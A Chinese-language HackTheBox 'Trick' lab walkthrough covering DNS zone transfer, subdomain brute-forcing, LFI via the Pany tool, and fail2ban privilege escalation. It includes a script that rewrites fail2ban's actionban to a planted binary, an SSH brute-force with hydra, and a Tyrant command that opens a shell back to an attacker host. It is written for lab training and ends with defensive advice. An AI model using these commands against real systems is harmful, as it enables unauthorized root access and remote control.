[Meachines] [Easy] Trick DNS反向查询+Marketing LFI+Pany-LFI工具+fail2ban权限提升+Tyrant持久化
字数 880 2025-08-29 08:30:25
Trick 靶机渗透测试教学文档
1. 信息收集阶段
1.1 初始扫描
使用Nmap和Masscan进行初始扫描:
ip='10.10.11.166'; itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//');
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
nmap -Pn -sV -sC -p "$ports" "$ip";
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
fi;
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi
扫描结果:
- 22/tcp: OpenSSH 7.9p1 Debian 10+deb10u2
- 25/tcp: Postfix smtpd
- 53/tcp: ISC BIND 9.11.5-P4-5.1+deb10u7 (DNS)
- 80/tcp: nginx 1.14.2
1.2 DNS反向查询
dig @10.10.11.166 -x 10.10.11.166
echo '10.10.11.166 trick.htb' >> /etc/hosts
1.3 DNS区域传输
dig axfr @10.10.11.166 trick.htb
echo '10.10.11.166 preprod-payroll.trick.htb' >> /etc/hosts
2. Web应用渗透
2.1 子域名枚举
使用ffuf进行子域名爆破:
ffuf -w /usr/share/amass/wordlists/subdomains-top1mil-20000.txt -u http://trick.htb -H "Host:preprod-FUZZ.trick.htb" -ac
发现preprod-marketing.trick.htb后添加到hosts文件:
echo '10.10.11.166 preprod-marketing.trick.htb' >> /etc/hosts
2.2 参数发现
使用Arjun发现隐藏参数:
arjun -u 'http://preprod-marketing.trick.htb'
2.3 LFI漏洞利用
使用Pany工具进行本地文件包含测试:
python3 pany.py -u 'http://preprod-marketing.trick.htb?page=*'
成功利用后获取user flag:
10c468007a6adfbd703fcfb4f253bb91
3. 权限提升
3.1 fail2ban配置分析
检查fail2ban配置:
cd /etc/fail2ban/action.d
cat iptables-multiport.conf
发现当前用户属于security组,可以修改action.d目录下的文件。
3.2 利用Tyrant进行持久化
- 下载Tyrant工具:
https://github.com/MartinxMax/Tyrant
- 创建run.sh脚本:
#!/bin/bash
# run.sh
echo "Waiting for the file to exist..."
while [[ ! -f /etc/fail2ban/action.d/iptables-multiport.conf ]]; do
sleep 0.1
done
echo "Backing up the original file..."
mv /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf.bak
cp /etc/fail2ban/action.d/iptables-multiport.conf.bak /etc/fail2ban/action.d/iptables-multiport.conf
echo "[+] Modifying the file..."
sed -i -e "s|actionban = .*|actionban = /tmp/tyrant|g" \
-e "s|actionunban = .*|actionunban = /tmp/tyrant|g" \
/etc/fail2ban/action.d/iptables-multiport.conf
echo "[*] Changing file permissions..."
chmod 666 /etc/fail2ban/action.d/iptables-multiport.conf
echo "[+] Restarting fail2ban service..."
sudo -u root /etc/init.d/fail2ban restart
if [[ $? -ne 0 ]]; then
echo "[-] Fail2ban restart failed. Exiting."
exit 1
fi
echo "[*] Monitoring /tmp/tyrant for SUID permission..."
while true; do
if [[ -u /tmp/tyrant ]]; then
echo "[+] Successfully detected SUID on /tmp/tyrant. Exiting."
exit 0
fi
sleep 0.5
done
- 执行脚本:
./run.sh
- 触发fail2ban规则:
hydra -l root -P /home/maptnh/Desktop/rockyou.txt 10.10.11.166 ssh -t 4 -vV
- 利用Tyrant获取root权限:
/tmp/tyrant -uid 0 -rhost 10.10.16.33 -rport 4443
成功获取root flag:
ce2824dc567a34aa0e509ddb8337782b
4. 关键点总结
- DNS区域传输:通过AXFR请求获取子域名信息
- 子域名枚举:使用ffuf等工具爆破子域名
- LFI漏洞利用:通过Pany工具自动化测试本地文件包含
- fail2ban配置修改:利用security组权限修改action脚本
- Tyrant持久化:通过修改fail2ban的actionban指向恶意脚本获取root权限
5. 防御建议
- 限制DNS区域传输,仅允许授权服务器
- 对子域名枚举实施速率限制
- 对用户输入进行严格过滤,防止LFI漏洞
- 限制对fail2ban配置文件的访问权限
- 定期审计系统上的SUID/SGID文件